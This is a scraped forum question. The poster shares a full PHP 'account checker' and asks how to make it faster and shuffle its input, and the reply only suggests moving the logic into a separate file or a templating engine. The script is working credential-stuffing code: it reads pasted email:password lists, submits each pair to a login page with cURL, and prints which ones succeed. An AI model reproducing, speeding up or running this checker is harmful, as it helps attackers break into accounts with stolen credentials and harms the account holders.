php - want to make a script that will take 10 line value and shuffle them in array then print them on script one by one -
make script take 10 line value , shuffle them in array print them on script 1 one here current php code. trying fix php timeout error plus speed things
<?php set_time_limit(0); function checkmail($email, $password){ $url = "example"; $h = curl_init(); curl_setopt($h, curlopt_url, $url); curl_setopt($h, curlopt_ssl_verifypeer, false); curl_setopt($h, curlopt_post, true); curl_setopt($h, curlopt_postfields, "&loginid=".$email."&password=".$password."&seamlesswebtag=&confirm-signin.x=47&confirm-signin.y=18"); curl_setopt($h, curlopt_header, true); curl_setopt($h, curlopt_returntransfer, true); curl_setopt($h, curlopt_cookiejar, 'cookies.txt'); curl_setopt($h, curlopt_cookiefile, 'cookies.txt'); curl_setopt($h, curlopt_followlocation, true); $result = curl_exec($h); return $result; } if(isset($_post['mp'], $_post['delim'], $_post['submit'])){ $mps = preg_split('/\r\n|\r|\n/', $_post['mp']); foreach($mps $mp){ $mp = explode($_post['delim'], $mp); $email = $mp[0]; $password = $mp[1]; echo $html = checkmail($email, $password); $doc = new domdocument(); @$doc->loadhtml($html); $nodes = $doc->getelementsbytagname('title'); $title = $nodes->item(0)->nodevalue; if($title == "example header"){ echo "<br />failed - email: $email - password: $password"; }else{ echo "<br />success - email: $email - password: $password"; } } } ?> <!doctype html public "-//w3c//dtd xhtml 1.0 transitional//en" "http://www.w3.org/tr/xhtml1/dtd/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en"> <head> <!-- no cache headers --> <meta http-equiv="pragma" content="no-cache" /> <metfa http-equiv="expires" content="-1" /> <meta http-equiv="cache-control" content="no-cache" /> <!-- end no cache headers --> <title>account checker</title> <meta http-equiv="content-type" content="text/html; charset=utf-8"> <style type="text/css"> body{ background-color: #333333; font-size: 10pt; font-family: verdana; } body,td,th { color: #cccccc; } h1,h6{ margin-bottom:10px; margin-top:0px; } select,textarea,.uneditable-input { text-align: center; border-color: #b333e5; border:0px solid gray; resize:none; background-color:#666666; color:#ffffff; outline:0; padding:5px; border-radius:30px; -webkit-box-shadow:0px 0px 20px 1px gray; } select,textarea:focus,.uneditable-input:focus { -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 15px rgba(179, 51, 229, 0.9) !important; -moz-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 15px rgba(179, 51, 229, 0.9) !important; box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 15px rgba(179, 51, 229, 0.9) !important; border:0px solid gray; resize:none; background-color:grey; color:#ffffff; outline:0; padding:5px; border-radius:30px; -webkit-box-shadow:0px 0px 20px 1px gray; } input[type="text"]:hover{ -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 15px rgba(179, 51, 229, 0.9) !important; -moz-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 15px rgba(179, 51, 229, 0.9) !important; box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 15px rgba(179, 51, 229, 0.9) !important; border:0px solid gray; resize:none; background-color:grey; color:#ffffff; outline:0; border-radius:12px; -webkit-box-shadow:0px 0px 20px 1px gray; } input[type="text"]{ text-align: center; border-color: #b333e5; border:0px solid gray; resize:none; background-color:#666666; color:#ffffff; outline:0; border-radius:12px; } input[type="submit"]:hover { -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 15px rgba(179, 51, 229, 0.9) !important; -moz-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 15px rgba(179, 51, 229, 0.9) !important; box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 15px rgba(179, 51, 229, 0.9) !important; border:0px solid gray; resize:none; background-color:#f7fbfa; color:#000; outline:2px; padding:5px; border-radius:30px; -webkit-box-shadow:0px 0px 20px 1px gray; } input[type="submit"] { -webkit-transition: width 0.6s ease; -moz-transition: width 0.6s ease; -o-transition: width 0.6s ease; border:0px solid gray; resize:none; background-color:#d7d1f8; color:#000; outline:0; padding:5px; border-radius:30px; -webkit-box-shadow:0px 0px 15px 1px #333333; } </style> </head> <body> <h1 align="center"> <b style='color:blue'>account checker</b> </h1> <form action="" method="post"> <div align="center"> <textarea name="mp" cols="100" rows="12">email@domain.com:password</textarea> <br /> <b> splitter: <input type="text" name="delim" value=":" style="width:32px;" /> <input type="submit" value=" check " name="submit" /> </b> </div> </form> <br /> <div align="right"> <p style="font-size:0.7em;font:tahoma;"> </p> </div> </body>
any of great value , deaply respected. want can function bit better
easy solution: put heading php code in separate file, example, logic.php. add line before html code:
<?php require_once('logic.php'); ?> good solution: use proper templating engine, twig
Comments
Post a Comment